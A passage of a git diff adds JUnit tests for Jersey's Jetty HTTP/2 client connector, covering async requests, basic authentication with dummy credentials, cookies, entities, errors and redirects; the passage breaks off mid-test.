@Path(PATH) + public static class AsyncResource { + /** + * Typical long-running operation duration. + */ + public static final long OPERATION_DURATION = 1000; + + /** + * Long-running asynchronous post. + * + * @param asyncResponse async response. + * @param id post request id (received as request payload). + */ + @POST + public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) { + LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName()); + new Thread(new Runnable() { + + @Override + public void run() { + String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep() + try { + Thread.sleep(OPERATION_DURATION); + return "DONE-" + id; + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + return "INTERRUPTED-" + id; + } finally { + LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName()); + } + } + }, "async-post-runner-" + id).start(); + } + + /** + * Long-running async get request that times out. + * + * @param asyncResponse async response. + */ + @GET + @Path("timeout") + public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) { + LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName()); + asyncResponse.setTimeoutHandler(new TimeoutHandler() { + + @Override + public void handleTimeout(AsyncResponse asyncResponse) { + asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE) + .entity("Operation time out.").build()); + } + }); + asyncResponse.setTimeout(1, TimeUnit.SECONDS); + asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE) + .entity("Operation time out.").build()); + + new Thread(new Runnable() { + + @Override + public void run() { + String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // very expensive operation that typically finishes within 1 second but can take up to 5 seconds, + // simulated using sleep() + try { + Thread.sleep(5 * OPERATION_DURATION); + return "DONE"; + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + return "INTERRUPTED"; + } finally { + LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName()); + } + } + }).start(); + } + + } + + @Override + protected Application configure() { + return new ResourceConfig(AsyncResource.class) + .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + } + + @Override + protected void configureClient(ClientConfig config) { + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY)); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + /** + * Test asynchronous POST. + * + * Send 3 async POST requests and wait to receive the responses. Check the response content and + * assert that the operation did not take more than twice as long as a single long operation duration + * (this ensures async request execution). + * + * @throws Exception in case of a test error. + */ + @Test + public void testAsyncPost() throws Exception { + final long tic = System.currentTimeMillis(); + + // Submit requests asynchronously. + final Future rf1 = target(PATH).request().async().post(Entity.text("1")); + final Future rf2 = target(PATH).request().async().post(Entity.text("2")); + final Future rf3 = target(PATH).request().async().post(Entity.text("3")); + // get() waits for the response + final String r1 = rf1.get().readEntity(String.class); + final String r2 = rf2.get().readEntity(String.class); + final String r3 = rf3.get().readEntity(String.class); + + final long toc = System.currentTimeMillis(); + + assertEquals("DONE-1", r1); + assertEquals("DONE-2", r2); + assertEquals("DONE-3", r3); + + assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(3 * AsyncResource.OPERATION_DURATION)); + } + + /** + * Test accessing an operation that times out on the server. + * + * @throws Exception in case of a test error. + */ + @Test + public void testAsyncGetWithTimeout() throws Exception { + final Future responseFuture = target(PATH).path("timeout").request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + + // get() waits for the response + assertEquals(503, response.getStatus()); + assertEquals("Operation time out.", response.readEntity(String.class)); + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java new file mode 100644 index 0000000000..5daad2d38c --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java @@ -0,0 +1,72 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.authentication.HttpAuthenticationFeature; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class AuthFilterTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(AuthFilterTest.class.getName()); + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(AuthTest.AuthResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testAuthGetWithClientFilter() { + client().register(HttpAuthenticationFeature.basic("name", "password")); + Response response = target("test/filter").request().get(); + assertEquals("GET", response.readEntity(String.class)); + } + + @Test + public void testAuthPostWithClientFilter() { + client().register(HttpAuthenticationFeature.basic("name", "password")); + Response response = target("test/filter").request().post(Entity.text("POST")); + assertEquals("POST", response.readEntity(String.class)); + } + + + @Test + public void testAuthDeleteWithClientFilter() { + client().register(HttpAuthenticationFeature.basic("name", "password")); + Response response = target("test/filter").request().delete(); + assertEquals(204, response.getStatus()); + } + +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java new file mode 100644 index 0000000000..7fe2edf6e7 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java @@ -0,0 +1,192 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.eclipse.jetty.client.util.BasicAuthentication; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.jetty.connector.JettyClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.inject.Singleton; +import jakarta.ws.rs.DELETE; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class AuthTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName()); + private static final String PATH = "test"; + + @Path("/test") + @Singleton + public static class AuthResource { + + int requestCount = 0; + + @GET + public String get(@Context HttpHeaders h) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + + return "GET"; + } + + @GET + @Path("filter") + public String getFilter(@Context HttpHeaders h) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return "GET"; + } + + @POST + public String post(@Context HttpHeaders h, String e) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + + return e; + } + + @POST + @Path("filter") + public String postFilter(@Context HttpHeaders h, String e) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return e; + } + + @DELETE + public void delete(@Context HttpHeaders h) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + } + + @DELETE + @Path("filter") + public void deleteFilter(@Context HttpHeaders h) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + } + + @DELETE + @Path("filter/withEntity") + public String deleteFilterWithEntity(@Context HttpHeaders h, String e) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return e; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(AuthResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Test + public void testAuthGet() { + ClientConfig config = new ClientConfig(); + config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password")); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().get(); + assertEquals("GET", response.readEntity(String.class)); + client.close(); + } + + @Test + public void testAuthPost() { + ClientConfig config = new ClientConfig(); + config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password")); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST")); + assertEquals("POST", response.readEntity(String.class)); + client.close(); + } + + @Test + public void testAuthDelete() { + ClientConfig config = new ClientConfig(); + config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password")); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().delete(); + assertEquals(response.getStatus(), 204); + client.close(); + } + +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java new file mode 100644 index 0000000000..eb1c6539b4 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java @@ -0,0 +1,117 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.JerseyClient; +import org.glassfish.jersey.client.JerseyClientBuilder; +import org.glassfish.jersey.jetty.connector.JettyClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.Cookie; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.NewCookie; +import jakarta.ws.rs.core.Response; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class CookieTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName()); + + @Path("/") + public static class CookieResource { + @GET + public Response get(@Context HttpHeaders h) { + Cookie c = h.getCookies().get("name"); + String e = (c == null) ? "NO-COOKIE" : c.getValue(); + return Response.ok(e) + .cookie(new NewCookie("name", "value")).build(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(CookieResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Test + public void testCookieResource() { + ClientConfig config = new ClientConfig(); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client client = ClientBuilder.newClient(config); + WebTarget r = client.target(getBaseUri()); + + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("value", r.request().get(String.class)); + client.close(); + } + + @Test + public void testDisabledCookies() { + ClientConfig cc = new ClientConfig(); + cc.property(JettyClientProperties.DISABLE_COOKIES, true); + cc.connectorProvider(new JettyHttp2ConnectorProvider()); + JerseyClient client = JerseyClientBuilder.createClient(cc); + WebTarget r = client.target(getBaseUri()); + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("NO-COOKIE", r.request().get(String.class)); + + final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector(); + if (connector.getCookieStore() != null) { + assertTrue(connector.getCookieStore().getCookies().isEmpty()); + } else { + assertNull(connector.getCookieStore()); + } + client.close(); + } + + @Test + public void testCookies() { + ClientConfig cc = new ClientConfig(); + cc.connectorProvider(new JettyHttp2ConnectorProvider()); + JerseyClient client = JerseyClientBuilder.createClient(cc); + WebTarget r = client.target(getBaseUri()); + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("value", r.request().get(String.class)); + + final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector(); + assertNotNull(connector.getCookieStore().getCookies()); + assertEquals(1, connector.getCookieStore().getCookies().size()); + assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue()); + client.close(); + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java new file mode 100644 index 0000000000..369169a02c --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java @@ -0,0 +1,64 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.client.ClientResponseContext; +import jakarta.ws.rs.client.ClientResponseFilter; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.container.ContainerRequestFilter; +import jakarta.ws.rs.container.ContainerResponseContext; +import jakarta.ws.rs.container.ContainerResponseFilter; +import java.io.IOException; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter, + ClientRequestFilter, ClientResponseFilter { + + static int preFilterCalled = 0; + static int postFilterCalled = 0; + + @Override + public void filter(ClientRequestContext context) throws IOException { + System.out.println("CustomLoggingFilter.preFilter called"); + assertEquals("bar", context.getConfiguration().getProperty("foo")); + preFilterCalled++; + } + + @Override + public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException { + System.out.println("CustomLoggingFilter.postFilter called"); + assertEquals("bar", context.getConfiguration().getProperty("foo")); + postFilterCalled++; + } + + @Override + public void filter(ContainerRequestContext context) throws IOException { + System.out.println("CustomLoggingFilter.preFilter called"); + assertEquals("bar", context.getProperty("foo")); + preFilterCalled++; + } + + @Override + public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException { + System.out.println("CustomLoggingFilter.postFilter called"); + assertEquals("bar", context.getProperty("foo")); + postFilterCalled++; + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java new file mode 100644 index 0000000000..0f508ca384 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java @@ -0,0 +1,151 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.jackson.JacksonFeature; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import jakarta.xml.bind.annotation.XmlRootElement; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeoutException; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class EntityTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName()); + + private static final String PATH = "test"; + + @Path("/test") + public static class EntityResource { + + @GET + public Person get() { + return new Person("John", "Doe"); + } + + @POST + public Person post(Person entity) { + return entity; + } + + } + + @XmlRootElement + public static class Person { + + private String firstName; + private String lastName; + + public Person() { + } + + public Person(String firstName, String lastName) { + this.firstName = firstName; + this.lastName = lastName; + } + + public String getFirstName() { + return firstName; + } + + public void setFirstName(String firstName) { + this.firstName = firstName; + } + + public String getLastName() { + return lastName; + } + + public void setLastName(String lastName) { + this.lastName = lastName; + } + + @Override + public String toString() { + return firstName + " " + lastName; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(EntityResource.class, JacksonFeature.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()) + .register(JacksonFeature.class); + } + + @Test + public void testGet() { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testGetAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testPost() { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe"))); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe"))); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async() + .post(Entity.xml(new Person("John", "Doe"))).get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe"))) + .get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java new file mode 100644 index 0000000000..64d819874d --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java @@ -0,0 +1,119 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.ClientErrorException; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class ErrorTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName()); + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(ErrorResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + + @Path("/test") + public static class ErrorResource { + @POST + public Response post(String entity) { + return Response.serverError().build(); + } + + @Path("entity") + @POST + public Response postWithEntity(String entity) { + return Response.serverError().entity("error").build(); + } + } + + @Test + public void testPostError() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + } + } + } + + @Test + public void testPostErrorWithEntity() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + String s = ex.getResponse().readEntity(String.class); + assertEquals("error", s); + } + } + } + + @Test + public void testPostErrorAsync() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().async().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + } + } + } + + @Test + public void testPostErrorWithEntityAsync() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().async().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + String s = ex.getResponse().readEntity(String.class); + assertEquals("error", s); + } + } + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java new file mode 100644 index 0000000000..2604f9b2df --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java @@ -0,0 +1,129 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.ClientResponse; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientResponseContext; +import jakarta.ws.rs.client.ClientResponseFilter; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.UriBuilder; +import java.io.IOException; +import java.net.URI; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class FollowRedirectsTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName()); + + @Path("/test") + public static class RedirectResource { + @GET + public String get() { + return "GET"; + } + + @GET + @Path("redirect") + public Response redirect() { + return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(RedirectResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.property(ClientProperties.FOLLOW_REDIRECTS, false); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + private static class RedirectTestFilter implements ClientResponseFilter { + public static final String RESOLVED_URI_HEADER = "resolved-uri"; + + @Override + public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException { + if (responseContext instanceof ClientResponse) { + ClientResponse clientResponse = (ClientResponse) responseContext; + responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString()); + } + } + } + + @Test + public void testDoFollow() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + Response r = t.path("test/redirect") + .register(RedirectTestFilter.class) + .request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + c.close(); + } + + @Test + public void testDoFollowPerRequestOverride() { + WebTarget t = target("test/redirect"); + t.property(ClientProperties.FOLLOW_REDIRECTS, true); + Response r = t.request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testDontFollow() { + WebTarget t = target("test/redirect"); + assertEquals(303, t.request().get().getStatus()); + } + + @Test + public void testDontFollowPerRequestOverride() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client client = ClientBuilder.newClient(config); + WebTarget t = client.target(u); + t.property(ClientProperties.FOLLOW_REDIRECTS, false); + Response r = t.path("test/redirect").request().get(); + assertEquals(303, 